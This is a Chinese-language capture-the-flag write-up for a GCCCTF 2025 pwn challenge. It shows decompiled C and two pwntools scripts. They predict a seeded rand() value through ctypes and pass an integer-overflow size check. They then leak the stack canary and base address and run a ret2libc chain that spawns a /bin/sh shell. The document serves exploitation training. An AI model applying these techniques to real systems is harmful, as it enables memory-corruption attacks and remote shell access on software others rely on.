前言

简单地说,伪随机数校验就是代码中有生成随机数,并且生成的这个随机数带有种子,那么,我们就可以通过ctypes库,从而在python中运用c语言的srand()rand()函数,从而通过检验

[GCCCTF 2025]辣卤客,我为你带来烩面啦!

保护什么就不说了,主要讲绕过部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_DWORD nbytes[3]; // [rsp+4h] [rbp-12Ch] BYREF
__int64 v6; // [rsp+10h] [rbp-120h]
__int64 v7; // [rsp+18h] [rbp-118h]
char buf[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v9; // [rsp+128h] [rbp-8h]

v9 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Can you guess my random number?\n");
puts("Input size: ");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 5 )
{
puts("Size too large\n");
exit(0);
}
puts("Input random number: ");
v3 = 255;
if ( nbytes[0] <= 0xFFu )
v3 = nbytes[0]; #这里v3是buf的读入大小,再往上看读入的大小不大于5,但是发现v3是unsigned类型,所以直接整数溢出就好了
read(0, buf, v3);
if ( buf[nbytes[0] - 1] == 10 )
buf[nbytes[0] - 1] = 0;
else
buf[nbytes[0]] = 0;
*(_QWORD *)&nbytes[1] = 0;
v6 = strtol(buf, (char **)&nbytes[1], 10);
srand(33550336u); #这个是随机数的种子33550336
v7 = rand(); #v7就是通过这个种子生成的随机数
if ( v6 != v7 )
{
puts("Wrong random number, you are failed!\n");
exit(0);
}
gift();
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
from ctypes import cdll #这个可以使我们再python中调用ctypes库,cdll是动态链接部分
r=process("./flag")
#r=remote("node4.anna.nssctf.cn",20535)
context(arch='amd64', os='linux', log_level='debug')
elf=ELF("./flag")

libc_cdll=cdll.LoadLibrary("./libc.so.6")
seed=33550336
libc_cdll.srand(seed)
random=libc_cdll.rand()
r.sendline(b"-1")
r.sendline(f"{random}") #发送方式

r.interactive()
1777470582026

可以发现成功执行完gift函数并进入vuln函数

然后就是正常接收数据然后打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
from ctypes import cdll
libc_cdll=cdll.LoadLibrary("./libc.so.6")
r=process("./flag")
#r=remote("node1.anna.nssctf.cn",20247)
context(arch='amd64', os='linux', log_level='debug')
elf=ELF("./flag")
libc=ELF("./libc.so.6")

seed=33550336
libc_cdll.srand(seed)
random=libc_cdll.rand()
r.sendline(b"-1")
r.sendline(f"{random}")
r.recvuntil(b"Here are some gift for you!\n\n")
canary=int(r.recv(18),16)
print(hex(canary))
r.recvuntil(b"\n")
base=int(r.recv(18),16)
print(hex(base))
#gdb.attach(r)

rsi=0x13c5+base
rdi=0x13fe+base
rdx=0x13c7+base
vuln=0x1349+base
puts_plt=elf.plt["puts"]+base
puts_got=elf.got["puts"]+base
payload=b'a'*(0x70-0x8)+p64(canary)+p64(0)
payload+=p64(rdi)+p64(puts_got)
payload+=p64(puts_plt)+p64(vuln)
r.recvuntil("smashing happily!\n")
r.sendline(payload)
puts=u64(r.recv(6).ljust(8,b"\x00"))
print(hex(puts))
libc_base=puts-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*(0x70-0x8)+p64(canary)+p64(0)
payload+=p64(0x000000000000101a+base)+p64(rdi)+p64(binsh)+p64(system)
gdb.attach(r)
r.sendline(payload)


r.interactive()
1777470582026

本地打通了,但是远程环境nc不上,又浪费30金币~~